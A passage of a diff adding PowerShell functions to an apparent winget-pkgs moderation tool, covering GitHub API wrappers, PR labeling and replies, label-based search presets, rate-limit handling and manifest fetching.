-notmatch "Windows Installer installed the product" + $UserInput = $UserInput -notmatch "with working directory 'D" + }#end if isnotnull + + $UserReplace = $UserInput -replace "\\","\\" -replace "\[","\[" -replace "\]","\]" -replace "\*","\*" -replace "\+","\+" -replace "\s",$Enum.Char.Blank -join $Enum.Char.Blank + + [bool]$isnotnull = ($null -notmatch $UserReplace) + # [bool]$isnotnull = (($UserReplace.Length -gt $Enum.Num.Ten) && ($UserReplace.gettype().name -eq $Enum.PSDataTypes.String)) + if ($WhatIf) {Write-Host "UserReplace 2 $UserReplace - notmatch null $isnotnull (true is populated, false is null)"} + if ($isnotnull) { + # if (!($isnotnull)) { + $UserInput = $UserInput | Select-Object -Unique + + #$UserInput = $UserInput -replace " -",$null #What was this for again? + if ($WhatIf) { + Write-Host "WhatIf: Reply-ToPR (A) -PR $PR -UserInput $($UserInput -join `"`n> `") -CannedMessage AutoValEnd" + Write-Host "WhatIf: UserInput Length $($UserInput.Length)" + $out = Reply-ToPR -PR $PR -UserInput ($UserInput -join $Enum.Char.LineBreakMDQuote) -CannedMessage $Enum.CannedMessages.AutoValEnd -WhatIf + } else { + $out = Reply-ToPR -PR $PR -UserInput ($UserInput -join $Enum.Char.LineBreakMDQuote) -CannedMessage $Enum.CannedMessages.AutoValEnd -Automated + } + + if ($LowerOps -eq $true) { + $SplitInput = ($UserInput -split $Enum.Char.LineBreak ) + foreach ($input in $Enum.QueueInputs) { + if($SplitInput -match $input) { + if ($WhatIf) { + Write-Host "WhatIf: Add-PRToQueue -PR $PR" + } else { + Add-PRToQueue -PR $PR + } + + } + } + $exitregex = "exit code: [0-9]{0,3}$" + $exitregex2 = "exit code: [0-9]{4,}$" + $exitregex3 = "exit code: -[0-9]{4,}$" + if(!(($UserInput -split $Enum.Char.LineBreak ) -match $exitregex2)) { #4 digits bad + if(!(($UserInput -split $Enum.Char.LineBreak ) -match $exitregex3)) { #4 digits bad + if(($UserInput -split $Enum.Char.LineBreak ) -match $exitregex) { #1-3 digits good + if ($WhatIf) { + Write-Host "WhatIf: Get-CompletePR -PR $PR (A)" + } else { + Get-CompletePR -PR $PR + } + } + if ($WhatIf) { + Write-Host "WhatIf: exit regex3 4 digits bad(A)" + } + } + if ($WhatIf) { + Write-Host "WhatIf: exit regex2 4 digits bad (A)" + } + } + }#end If LowerOps + + if (!($Silent)) { + if ($WhatIf) { + Write-Host "WhatIf: Write-Host 'PR: $PR - $out'" + } else { + Write-Host "PR: $PR - $out" + } + } + } else { + if ($IsZipPath) { + $UserInput = $Enum.Strings.NoErrorsToPost + $Title = ((Invoke-GitHubPRRequest -PR $PR -Type $Enum.Char.Blank -Output $Enum.PRRequestOutput.Content -JSON).title); + if ($WhatIf) { + Write-Host "WhatIf: Reply-ToPR (B) -PR $PR -UserInput $UserInput -CannedMessage AutoValEnd" + $out = Reply-ToPR -PR $PR -UserInput $UserInput -CannedMessage $Enum.CannedMessages.AutoValEnd -WhatIf + Write-Host "WhatIf: Get-CompletePR -PR $PR (B)" + Write-Host "WhatIf: Get-GitHubPreset -PR $PR Waiver" + Write-Host "WhatIf: UserInput Length $($UserInput.Length)" + } else { + $out = Reply-ToPR -PR $PR -UserInput $UserInput -CannedMessage $Enum.CannedMessages.AutoValEnd -Automated + Get-CompletePR -PR $PR + foreach ($Waiver in $WaiverList) { + if ($Title -match $Waiver.PackageIdentifier) { + Get-GitHubPreset -PR $PR Waiver + }#end if title + }#end foreach waiver + }#end if WhatIf + }#end if ZipPath + }#end if isnotnull + } else { + if (!($Silent)) { + if ($WhatIf) { + Write-Host "WhatIf: Reply-ToPR (C) -PR $PR -UserInput $UserInput -CannedMessage AutoValEnd" + $out = Reply-ToPR -PR $PR -UserInput $UserInput -CannedMessage $Enum.CannedMessages.AutoValEnd -WhatIf + Write-Host "WhatIf: UserInput Length $($UserInput.Length)" + } else { + $out = Reply-ToPR -PR $PR -UserInput $UserInput -CannedMessage $Enum.CannedMessages.AutoValEnd -Automated + } + if ($WhatIf) { + Write-Host "WhatIf: Reply-ToPR (D) -PR $PR -UserInput $UserInput -CannedMessage AutoValEnd" + $out = Reply-ToPR -PR $PR -UserInput $UserInput -CannedMessage $Enum.CannedMessages.AutoValEnd -WhatIf + } else { + $out = Reply-ToPR -PR $PR -UserInput $UserInput -CannedMessage $Enum.CannedMessages.AutoValEnd -Automated + } + $UserInput = "`Build $BuildNumber not found." + Write-Host $UserInput + if ($WhatIf) { + Write-Host "WhatIf: Reply-ToPR (E) -PR $PR -UserInput $UserInput -CannedMessage AutoValEnd" + $out = Reply-ToPR -PR $PR -UserInput $UserInput -CannedMessage $Enum.CannedMessages.AutoValEnd -WhatIf + } else { + $out = Reply-ToPR -PR $PR -UserInput $UserInput -CannedMessage $Enum.CannedMessages.AutoValEnd -Automated + }#end if WhatIf + }#end if not silent + }#end if BuildNumber + + return $out + }#end if Last Prevalidation was 8 hours ago. +} + +#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +#++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ +################################ - GitHub - ################################# +#++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ +#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +Function Invoke-Commits { + Param( + [Parameter(ValueFromPipeline)][int]$PR, + [string]$Type = "commits" + ) + Process { + if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Invoke-Commits $PR"}; + $Commits = Invoke-GitHubRequest "$GitHubApiBaseUrl/pulls/$PR/$Type" -JSON + $Commits + } +} + +Function Invoke-GitHubPRRequest { + Param( + [Parameter(ValueFromPipeline)][int]$PR, + [int]$PR2 = (Get-SchemaCheck -SchemaInfo $MVschemaData.PR.Number -InputData $PR), + [ValidateScript( { $_ -in (Get-Keys $Enum.PRRequestMethods)} )][string]$Method = $Enum.PRRequestMethods.Get, + [ValidateScript( { $_ -in (Get-Values $Enum.PRRequestTypes)} )][string]$Type = $Enum.PRRequestTypes.Labels, + [string]$Data, + [ValidateScript( { $_ -in (Get-Keys $Enum.PRRequestPaths)} )][string]$Path = $Enum.PRRequestPaths.Issues, + [ValidateScript( { $_ -in (Get-Keys $Enum.PRRequestOutput)} )][string]$Output = $Enum.PRRequestOutput.StatusDescription, + [switch]$LastPage, + [switch]$JSON, + [switch]$WhatIf, + $PRCommits = (Invoke-Commits -PR $PR2), + $commit = (($PRCommits.commit.url -split $Enum.Char.Slash)[$Enum.Index.Last]) + ) + $PR = $PR2 + if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Invoke-GitHubPRRequest $PR2"}; + $Response = @{} + $ResponseType = $Type + $uri = "$GitHubApiBaseUrl/$Path/$PR/$Type" + + if (($Type -eq $Enum.PRRequestTypes.Blank) -OR ($Type -eq $Enum.PRRequestTypes.Files) -OR ($Type -eq $Enum.PRRequestTypes.Reviews)){ + $Path = $Enum.PRRequestPaths.Pulls + $uri = "$GitHubApiBaseUrl/$Path/$PR/$Type" + } elseif ($Type -eq $Enum.PRRequestTypes.Comments) { + $Response.body += $Data + } elseif ($Type -eq $Enum.PRRequestTypes.Commits) { + $uri = "$GitHubApiBaseUrl/$Type/$commit" + } elseif ($Type -eq $Enum.PRRequestTypes.Merge) { + $Path = $Enum.PRRequestPaths.Pulls + } elseif ($Type -eq $Enum.PRRequestTypes.Reviews) { + $Path = $Enum.PRRequestPaths.Pulls + $Response.body = $Enum.Char.Blank + $Data + $Response.commit = $commit + $Response.event = "APPROVE" + } elseif ($Type -eq $Enum.Char.Blank) { + #$Response.title = $Enum.Char.Blank + #$Response.body = $Enum.Char.Blank + $Response.state = $Enum.PRStates.Closed + $Response.base = $Enum.Strings.PrimaryFork + } else { + $Response.$ResponseType = @() + $Response.$ResponseType += $Data + } + + $uri = $uri -replace "/$",$Enum.Char.Blank + + if ($LastPage) { + $uri += "?per_page=100&filter=latest" + } + if ($Method -eq $Enum.PRRequestMethods.Get) { + if ($WhatIf) { + "Invoke-GitHubRequest -Method $Method -Uri $uri" + } else { + $out = Invoke-GitHubRequest -Method $Method -Uri $uri +#$uri = "$GitHubApiBaseUrl/$Path/$PR/$Type" +#$uri = "$GitHubApiBaseUrl/commits/$headSha/check-runs?per_page=100&filter=latest" + + } + } else { + [string]$Body = $Response | ConvertTo-Json + $out = Invoke-GitHubRequest -Method $Method -Uri $uri -Body $Body + } + + if (($JSON) -OR ($Output -eq $Enum.PRRequestOutput.Content)) { + if ($null -ne $out.$Output) { + try { + $out.$Output | ConvertFrom-Json + }catch{ + return ("PR: $PR - Error: $($error[$Enum.Index.First].ToString()) - Url $uri - Body: $Body") + } + } elseif ($Output -eq $Enum.PRRequestOutput.Silent ) { + } else { + $out.$Output + } + } else { + return "!" #"PR: $PR - No output. Method: $Method - URI: $uri" + #return ("PR: $PR - Error: $($error[$Enum.Index.First].ToString()) - Url $uri - Body: $Body") + } +} + +Function Get-UpdateSource { + if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Get-UpdateSource Start"}; + # $GhRlRemain = ((Get-GitHubRateLimit) | where {$_.source -match $Enum.GitHubRateLimit.Unlogged}).remaining + # Param( + # ) + # if ($GhRlRemain -gt 0) { + # $DataSource = $Enum.PRWatchDataSource.GitHub + # } else { + # $DataSource = $Enum.PRWatchDataSource.WinGet + # } +} + +Function Get-SyncFork { + Param( + [string]$SyncUserName = $Enum.GitHubUserNames.GitHubUserName, + [string]$SyncRepo = $repo, + [string]$SyncFork = $Enum.Strings.PrimaryFork, + [string]$Uri = "https://api.github.com/repos/$SyncUserName/$SyncRepo/merge-upstream", + [string]$Body = "{`"branch`":`"$SyncFork`"}" + ) + if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Get-SyncFork Start"}; + $out = (Invoke-GitHubRequest -Uri $Uri -Body $Body -Method $Enum.PRRequestMethods.Post).content | ConvertFrom-Json + return $out +} + +Function Get-GitHubRateLimit { + Param( + [string]$Url = "https://api.github.com/rate_limit" + ) + if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Get-GitHubRateLimit $Url"}; + (Get-Date)#Time, as a number, constantly increases. So the future is always greater than the present, which is always greater than the past. + $Response = Invoke-WebRequest -Uri $Url -ProgressAction SilentlyContinue + $Content = $Response.content | ConvertFrom-Json; + $Content.rate | Select-Object @{n = $Enum.GitHubRateLimit.Source; e = {$Enum.GitHubRateLimit.Unlogged}}, limit, used, remaining, @{n = $Enum.GitHubRateLimit.Reset; e = {([System.DateTimeOffset]::FromUnixTimeSeconds($_.reset)).DateTime.AddHours(-8)}} + $Response = invoke-GitHubRequest -Uri $Url -JSON; + $Response.rate | Select-Object @{n = $Enum.GitHubRateLimit.Source; e = {$Enum.GitHubRateLimit.Logged}}, limit, used, remaining, @{n = $Enum.GitHubRateLimit.Reset; e = {([System.DateTimeOffset]::FromUnixTimeSeconds($_.reset)).DateTime.AddHours(-8)}} +} + +Function Get-GitHubTimeout { + if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Get-GitHubTimeout Start"}; + $GitHubRateLimit = Get-GitHubRateLimit + $starttime = get-date $GitHubRateLimit[$Enum.Index.First] + $UsedCalls = ($GitHubRateLimit)[$Enum.Num.Two].used + $Limit = ($GitHubRateLimit)[$Enum.Num.Two].limit + while ($UsedCalls -ge $Limit) { + $GitHubRateLimit = Get-GitHubRateLimit + $UsedCalls = $GitHubRateLimit[$Enum.Num.Two].used + $endtime = get-date $GitHubRateLimit[$Enum.Num.Two].reset + $timeleft = $endtime - (Get-Date) + $totaltime = $endtime - $starttime + $pct = (1 - ($timeleft.TotalSeconds / $totaltime.TotalSeconds)) * 100 + $OutputTime = (get-date $endtime -f s) -replace $Enum.Char.T," - " + Write-Progress -Activity "Waiting until $OutputTime for API rate limit cooldown." -Status "$($timeleft.TotalSeconds) seconds remaining." -PercentComplete $pct + } +} + +Function Get-FileFromGitHub { + Param( + [string]$PackageIdentifier, + [string]$PI = (Get-SchemaCheck -InputData $PackageIdentifier -SchemaInfo $schemaData.installer.definitions.PackageIdentifier), + [string]$Version, + [string]$Suffix = $Enum.ManifestFileTypes.installeryaml, + [string]$Path = ($PI -replace "[.]",$Enum.Char.Slash), + [string]$FirstLetter = ($PI[$Enum.Index.First].tostring().tolower()) + ) + $PackageIdentifier = $PI + if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Get-FileFromGitHub $PackageIdentifier"}; + Write-Host "$($MyInvocation.MyCommand.name) $PR" + try{ + $content = (Invoke-GitHubRequest -Uri "$GitHubContentBaseUrl/master/manifests/$FirstLetter/$Path/$Version/$PackageIdentifier.$Suffix").content + }catch{ + $content = "Error $GitHubContentBaseUrl/master/manifests/$FirstLetter/$Path/$Version/$PackageIdentifier.$Suffix not found." + } + return ($content -split $Enum.Char.LineBreak) +} + +Function Get-SearchGitHub { + Param( + [ValidateScript( { $_ -in (Get-Keys $Enum.SearchPresets)} )][string[]]$Preset = $Enum.SearchPresets.Approval, + [string]$Url = "https://api.github.com/search/issues?page=$Page&q=", + [string]$SearchString, + [string]$Author, #wingetbot + [string]$Commenter, #wingetbot + [string]$Title, + [string]$ExcludeTitle, + [string]$Label, + [int]$Page = $Enum.Num.One, + [int]$DaysAgo, + [Switch]$Browser, + [Switch]$BMM, + [Switch]$NewPackages, + [Switch]$nBMM, + [Switch]$IEDS, + [Switch]$NotWorked, + [Switch]$NoLabels, + [Switch]$AllowClosedPRs + ) + if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Get-SearchGitHub $Url"}; + if ($Browser) { + $Url = "$GitHubBaseUrl/pulls?page=$Page&q=" + } + #Base settings + $Base = "repo:$Owner/$Repo+" + $Base = $Base + $Enum.SearchTerms.IsPR + if (!($AllowClosedPRs)) { + $Base += $Enum.SearchTerms.IsOpen + } + $Base += $Enum.SearchTerms.DraftFalse + $Base += $Enum.SearchTerms.SortAsc + + #Smaller blocks + $date = Get-Date (Get-Date).AddDays(-$DaysAgo) -Format $Enum.Strings.Timestamp + # $Url += $Enum.Strings.Label+$Enum.PRLabels.PD+$Enum.Char.Plus;#dupe + $Defender = "label:$($Enum.PRLabels.VDE)+" + $HaventWorked = "-commenter:$($Enum.GitHubUserNames.GitHubUserName)+" + $HVR = "label:$($Enum.PRLabels.HVR)+" + $IEDSLabel = "label:$($Enum.PRLabels.IEDS)+" + $IEM = "label:$($Enum.PRLabels.IEM)+" + $LVR = "label:$($Enum.PRLabels.LVR)+" + $MA = "label:$($Enum.PRLabels.MA)+" + $MMC = "label:$($Enum.PRLabels.MMC)+" + $NA = "label:$($Enum.PRLabels.NA)+" + $NAF = "label:$($Enum.PRLabels.NAF)+" + $NotPass = "-label:$($Enum.PRLabels.APP)+"#Hasn't psased pipelines + $Recent = "updated:>$($date)+" + $VC = "label:$($Enum.PRLabels.VC)+"#Completed + $VD = "label:$($Enum.PRLabels.VD)+" + $VSA = "label:$($Enum.PRLabels.VSA)+" + + $nBI = "-label:$($Enum.PRLabels.BI)+" + $nHW = "-label:Hardware+" + $nHVR = $Enum.Char.Dash + $HVR + $Enum.Char.Plus + $nIEDS = $Enum.Char.Dash + $IEDSLabel + $Enum.Char.Plus + $nIEDS = $Enum.Char.Dash + $IEDSLabel + $Enum.Char.Plus + $nMA = $Enum.Char.Dash + $MA + $Enum.Char.Plus + $NMM = "label:$($Enum.PRLabels.NMM)+" + $nMMC = $Enum.Char.Dash + $MMC + $Enum.Char.Plus + $nNA = $Enum.Char.Dash + $NA + $Enum.Char.Plus + $nNP = "-label:$($Enum.PRLabels.NP)+" + $nNRA = "-label:$($Enum.PRLabels.IOD)+" + $nNRA = "-label:$($Enum.PRLabels.IOI)+" + $nNRA = "-label:$($Enum.PRLabels.NRA)+" + $nNSA = "-label:$($Enum.PRLabels.NSA)+" + $nVC = $Enum.Char.Dash + $VC #Not Completed + + + #Building block settings + $Blocking = $nHW + $Blocking += $nNSA + $Blocking += "-label:$($Enum.PRLabels.AGR)+" + $Blocking += "-label:$($Enum.PRLabels.DI)+" + $Blocking += "-label:$($Enum.PRLabels.LBI)+" + $Blocking += "-label:$($Enum.PRLabels.NB)+" + $Blocking += "-label:$($Enum.PRLabels.PF)+" + $Blocking += "-label:$($Enum.PRLabels.RB)+" + $Blocking += "-label:$($Enum.PRLabels.SA)+" + + $Common = $nBI + $Common = $Common+$Enum.Char.Dash + $IEM + $Common = $Common+$Enum.Char.Dash + $Defender + + $Cna = $VC + $Cna = $Cna + $nMA + + $Review1 = "-label:$($Enum.PRLabels.CR)+" + $Review1 += "-label:$($Enum.PRLabels.CLA)+" + $Review1 += $nNRA + + $Review2 = $Enum.Char.Dash + $NA + $Review2 = $Review2 + $Enum.Char.Dash + $NAF + $Review2 = $Review2 + "-label:$($Enum.PRLabels.NR)+" + + $Approvable = "-label:$($Enum.PRLabels.VMC)+" + $Approvable += "-label:$($Enum.PRLabels.VER)+" + $Approvable += "-label:$($Enum.PRLabels.MIVE)+" + $Approvable += "-label:$($Enum.PRLabels.PD)+" + $Approvable += "-label:$($Enum.PRLabels.UF)+" + $Approvable += "-label:$($Enum.PRLabels.CLA)+" + + $Workable += "-label:$($Enum.PRLabels.LVR)+" + $Workable += "-label:$($Enum.PRLabels.HVR)+" + $Workable += "-label:$($Enum.PRLabels.VMC)+" + $Workable += "-label:$($Enum.PRLabels.BVE)+" + $Workable += "-label:$($Enum.PRLabels.UF)+" + $Workable += "-label:$($Enum.PRLabels.VCR)+" + $Workable += "-label:$($Enum.PRLabels.VSS)+" + + $PolicyTests = "-label:Policy-Test-1.1+"; + $PolicyTests += "-label:$($Enum.PRLabels.PT12)+" + $PolicyTests += "-label:Policy-Test-1.3+"; + $PolicyTests += "-label:Policy-Test-1.4+"; + $PolicyTests += "-label:Policy-Test-1.5+"; + $PolicyTests += "-label:Policy-Test-1.6+"; + $PolicyTests += "-label:Policy-Test-1.7+"; + $PolicyTests += "-label:Policy-Test-1.8+"; + $PolicyTests += "-label:Policy-Test-1.9+"; + $PolicyTests += "-label:Policy-Test-1.10+"; + $PolicyTests += "-label:Policy-Test-2.1+"; + $PolicyTests += "-label:Policy-Test-2.2+"; + $PolicyTests += "-label:$($Enum.PRLabels.PT23)+" + $PolicyTests += "-label:Policy-Test-2.4+"; + $PolicyTests += "-label:Policy-Test-2.5+"; + $PolicyTests += "-label:Policy-Test-2.6+"; + $PolicyTests += "-label:$($Enum.PRLabels.PT27)+" + $PolicyTests += "-label:Policy-Test-2.8+"; + $PolicyTests += "-label:Policy-Test-2.9+"; + $PolicyTests += "-label:Policy-Test-2.10+"; + $PolicyTests += "-label:Policy-Test-2.11+"; + $PolicyTests += "-label:Policy-Test-2.12+"; + + #Composite settings + $Set1 = $Blocking + $Common + $Review1 + $Set2 = $Set1 + $Review2 + $Url += $Base + if ($Author) { + $Url += "author:$($Author)+" + } + if ($Commenter) { + $Url += "commenter:$($Commenter)+" + } + if ($Days) { + $Url += $Recent + } + if ($IEDS) { + $Url += $nIEDS + } + if ($Label) { + $Url += "label:$($Label)+" + } + if ($NotWorked) { + $Url += $HaventWorked + } + if ($NewPackages) { + $Url += "label:New-Package+" + } + if ($Title) { + $Url += "$Title in:title+" + } + if ($BMM) { + $Url += "label:$($Enum.PRLabels.BMM)+" + } + if ($nBMM) { + $Url += "-label:$($Enum.PRLabels.BMM)+" + } + switch ($Preset) { + $Enum.SearchPresets.Approval { + $Url += $Cna + $Url += $nBI + $Url += $nBI + $Url += $Set2 #Blocking + Common + Review1 + Review2 + $Url += $Approvable + $Url += $Workable; + $Url += $nMMC; + } + $Enum.SearchPresets.Approval2 { + $Url += $Cna + $Url += $nNP + $Url += $nHVR + $Url += $Set2 #Blocking + Common + Review1 + Review2 + $Url += $Approvable + $Url += $Workable; + $Url += $nMMC; + } + $Enum.SearchPresets.Defender { + $Url += $Defender + } + $Enum.SearchPresets.Domain { + $Url += "label:$($Enum.PRLabels.VD)+" + } + $Enum.SearchPresets.Duplicate { + $Url += $Enum.Strings.Label+$Enum.PRLabels.PD+$Enum.Char.Plus;#dupe + $Url += $nNRA + } + $Enum.SearchPresets.Autowaiver { + $Url += $Set1 + $Url += $Workable + $Url += $nIEDS + $Url += $nVC + $Url += "label:$($Enum.PRLabels.EHM)+" + $Url += "label:$($Enum.PRLabels.MIVE)+" + $Url += "label:$($Enum.PRLabels.MVE)+" + $Url += "label:$($Enum.PRLabels.VEE)+" + $Url += "label:$($Enum.PRLabels.VNE)+" + $Url += "label:$($Enum.PRLabels.VIE)+" + $Url += "label:$($Enum.PRLabels.VSE)+" + $Url += "label:$($Enum.PRLabels.VUF)+" + $Url += "label:$($Enum.PRLabels.ANF)+" + $Url += $nBI + $Url += $nIOD + $Url += $nIOI + } + $Enum.SearchPresets.IEDS { + $Url += $IEDSLabel + $Url += $nBI + $Url += $Blocking + $Url += $NotPass + $Url += $nVC + } + $Enum.SearchPresets.HVR { + $date = Get-Date (Get-Date).AddDays(-7) -Format $Enum.Strings.Timestamp + $createdDate = "created:<$($date)+" + $Url += $createdDate; + $Url += $HVR; + } + $Enum.SearchPresets.LVR { + $date = Get-Date (Get-Date).AddDays(-7) -Format $Enum.Strings.Timestamp + $createdDate = "created:<$($date)+" + $Url += $createdDate; + $Url += $LVR; + } + $Enum.SearchPresets.MMC { + $Url += $MMC; + } + $Enum.SearchPresets.NMM { + $Url += $NMM; + } + $Enum.SearchPresets.NoLabels { + $Url += "-commenter:wingetbot+" + $Url += "-label:$($Enum.PRLabels.NA)+" + $Url += "-label:$($Enum.PRLabels.UF)+" + $Url += "-label:$($Enum.PRLabels.PF)+" + } + $Enum.SearchPresets.None { + } + $Enum.SearchPresets.ToWork { + $Url += $Set1 #Blocking + Common + Review1 + $Url += $Workable; + #$Url += $Workable + } + $Enum.SearchPresets.ToWork2 { + $Url += $HaventWorked + $Url += $Enum.Char.Dash + $Defender + $Url += $Set1 #Blocking + Common + Review1 + $Url += $nVC + } + $Enum.SearchPresets.ToWork3 { + $Url += $HaventWorked + $Url += $Enum.Char.Dash + $Defender + $Url += $Set1 #Blocking + Common + Review1 + $Url += $nVC + $Url += $nMA + $Url += $nNA + } + $Enum.SearchPresets.VCMA { + #$date = Get-Date (Get-Date).AddHours(-1) -Format $Enum.Strings.Timestamp + #$createdDate = "created:<$($date)+" + $Url += $createdDate; + $Url += $MA + $Url += $VC + $Url += $Set2 #Blocking + Common + Review1 + Review2 + $Url += $Approvable + $Url += $Workable; + $Url += $nMMC; + } + } + + if ($Browser) { + Start-Process $Url + } else { + $Response = Invoke-GitHubRequest $Url + $Response = ($Response.Content | ConvertFrom-Json).items + #$Response = $Response | Where-Object {!(($_.labels.name -match $Enum.PRLabels.MA) -AND ($_.labels.name -match "Needs-Attention"))} + if ($ExcludeTitle) { + $Response = $Response | Where-Object {$_.title -notmatch $ExcludeTitle} + } + if (!($NoLabels)) { + $Response = $Response | where {$_.labels} + } + return $Response + } +} + +Function Get-ClaCheck { + Param( + [Parameter(ValueFromPipeline)][int]$PR, + $LabelName = $Enum.PRCheckLabels.LicenseCla, + [switch]$WhatIf + ) + $PR = (Get-SchemaCheck -SchemaInfo $MVschemaData.PR.Number -InputData $PR) + if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Get-ClaCheck $PR"}; + $Status = (Get-CheckData -PR $PR | where {$_.name -match $LabelName}).status + If ($WhatIf) {Write-Host "Status: $Status"} + switch ($Status) { + $Enum.PRCheckLabels.Queued { + If ($WhatIf) { + Write-Host "Add PRLabel -PR $PR -Label $($Enum.PRLabels.CLA)" + } else { + Get-AddPRLabel -PR $PR -Label $Enum.PRLabels.CLA + } + } + $Enum.PRCheckLabels.Completed { + If ($WhatIf) { + Write-Host "Remove PRLabel -PR $PR -Label $($Enum.PRLabels.CLA)" + } else { + Get-RemovePRLabel -PR $PR -Label $Enum.PRLabels.CLA + } + } + Default { + Write-Host "Invalid Status: $Status" + } + } +} + +#foreach ($page in (1..6)) {(get-searchGitHub -Preset approval -page $page).number | %{Get-CheckIfPackageIsNew $_}} +Function Get-CheckIfPackageIsNew { + Param( + [Parameter(ValueFromPipeline)][int]$PR, + [int]$PR2 = (Get-SchemaCheck -SchemaInfo $MVschemaData.PR.Number -InputData $PR), + $PRCommits = (Get-CommitFile -PR $PR2), + [string[]]$InputData = ($PRCommits -split "`n" | Where {$_ -match $Enum.ManifestKeys.PackageIdentifier}), + [string]$PackageIdentifier = (Get-SchemaCheck -YamlValue $Enum.ManifestKeys.PackageIdentifier -SchemaInfo $schemaData.installer.definitions.PackageIdentifier -InputData $InputData[0]), + # [string]$PackageIdentifier = (Get-SchemaCheck -YamlValue $Enum.ManifestKeys.PackageIdentifier -SchemaInfo $schemaData.installer.definitions.PackageIdentifier -InputData $PRCommits), + $ManifestVersion = (Get-ManifestVersion -PackageIdentifier $PackageIdentifier) + ) + Process { + $PR = $PR2 + if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Get-CheckIfPackageIsNew $PR2"}; + Write-Host "$($MyInvocation.MyCommand.name): PR $PR - PackageIdentifier: $PackageIdentifier - ManifestVersion $ManifestVersion" + if ($ManifestVersion) {#If any version data exists, then it's a New-Manifest. + Get-AddPRLabel -PR $PR -LabelName $Enum.PRLabels.NM + Get-RemovePRLabel -PR $PR -LabelName $Enum.PRLabels.NP + } else { + Get-AddPRLabel -PR $PR -LabelName $Enum.PRLabels.NP + Get-RemovePRLabel -PR $PR -LabelName $Enum.PRLabels.NM + } + } +} + +#Commit +Function Get-CommitFile { + Param( + [int]$PR, + [int]$PR2 = (Get-SchemaCheck -SchemaInfo $MVschemaData.PR.Number -InputData $PR), + $Commit = (Invoke-GitHubPRRequest -PR $PR2 -Type commits -Output $Enum.PRRequestOutput.Content -JSON), + [ValidateScript( { $_ -in (Get-Values $Enum.ManifestFileTypes) } )][string]$MatchName = $Enum.ManifestFileTypes.Root, + $PRData = (Get-PRData $PR2), + $PackageIdentifier = (($Commit.files.filename -split $Enum.Char.Slash)[$Enum.Index.Last] -replace $Enum.ManifestFileExtension.Installer,$Enum.Char.Comma -replace $Enum.ManifestFileExtension.Locale,$Enum.Char.Comma -replace $Enum.ManifestFileExtension.Root,$Enum.Char.Comma -split $Enum.Char.Comma)[$Enum.Index.First], + $PI = (Get-SchemaCheck -InputData $PackageIdentifier -SchemaInfo $schemaData.installer.definitions.PackageIdentifier), + $FileList = ($Commit.files.contents_url | where {$_ -match $MatchName} | where {$_ -match [System.Web.HttpUtility]::UrlEncode($PI)}), + [int]$VM, + [ValidateScript( { $_ -in (Get-Keys $Enum.CommitFileModes) } )][string]$Mode = $Enum.CommitFileModes.Default, + [switch]$Deparent, + [switch]$WhatIf + ) + $PR = $PR2 + $PackageIdentifier = $PI + if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Get-CheckIfPackageIsNew $PR2"}; + if ($VM) { + Write-Host "Starting PR $PR on VM $VM for CommitFile" + } + if ($WhatIf) { + if ($Commit.Length -lt 1) { + Write-Host "Commit $Commit" + } + if ($PRData.Length -lt 1) { + Write-Host "PRData $PRData" + } + if ($FileList.Length -lt 1) { + Write-Host "FileList $FileList" + } + } + + if (!($Deparent)) { + #Count leading pluses or minuses to see if it's addition or removal PR. If removal, goto parent. + $commitfilespatch = $commit.files.patch -split $Enum.Char.LineBreak + $removeCount = ($commitfilespatch | Where {$_ -notmatch $Enum.Char.Ampersand} | Where {$_[$Enum.Index.First] -match $Enum.Char.Dash} | Measure-Object).Count + $AtCount = ($commitfilespatch | Where {$_[$Enum.Index.First] -match $Enum.Char.Ampersand} | Measure-Object).Count + if (($AtCount + $RemoveCount) -eq $commitfilespatch.Count) { + $Mode = $Enum.CommitFileModes.Parent + } + } + $manifestFolder = "$MainFolder\vm\$VM\manifest" + if ($VM -gt $Enum.Num.Zero) { + if (!($Silent)) {Write-Host $Enum.Strings.RemovingPreviousManifestAndAddingCurrent} + Get-RemoveFileIfExist "$manifestFolder" -remake -Silent + } + + switch ($Mode) { + $Enum.CommitFileModes.Patch { + Write-Host $Enum.Strings.ReturningPatch + $commit.files.patch + } + $Enum.CommitFileModes.Parent { + $parentCommit = Invoke-GitHubRequest -Uri $Commit.parents.url + # Write-Host "parentCommit count: $($parentCommit.Count)" + $parentcontent = $parentCommit.content | convertfrom-json + # Write-Host "parentCommit.content count: $($parentcontent.Count)" + $parentcontent = ($parentcontent.files.patch -split $Enum.Char.LineBreak) -replace "^\+",$Enum.Char.Blank + # Write-Host "parentcontent.files.patch count: $($parentcontent.Count)" + $parentcontent = $parentcontent -join $Enum.Char.LineBreak + # Write-Host "parentcontent -join count: $($parentcontent.Count)" + $parentcontent = $parentcontent -split $Enum.Char.DoubleAmpersand + # Write-Host "parentcontent -split count: $($parentcontent.Count)" + if ($parentcontent.Count -lt 3) { + Write-Host "File count $($file.Count) is too low." + Sleep $Enum.Num.Ten + } else { + + foreach ($file in $parentcontent) { + $file = $file -split $Enum.Char.LineBreak + # Write-Host "file: $($file.Count)" + $file + # Write-Host "file: $file" + if ($file.Count -gt 5) { + if ($VM -gt $Enum.Num.Zero) { + Write-Host "Starting PR $PR on VM $VM for file $file" + Get-ManifestFile -vm $VM -PR $PR -InstallerFile $file + } else { + $file -join $Enum.Char.LineBreak + }; #end if VM + } + }; # Forech file + } + } + default { + If ($FileList) { + foreach ($File in $FileList) { + if ($WhatIf) 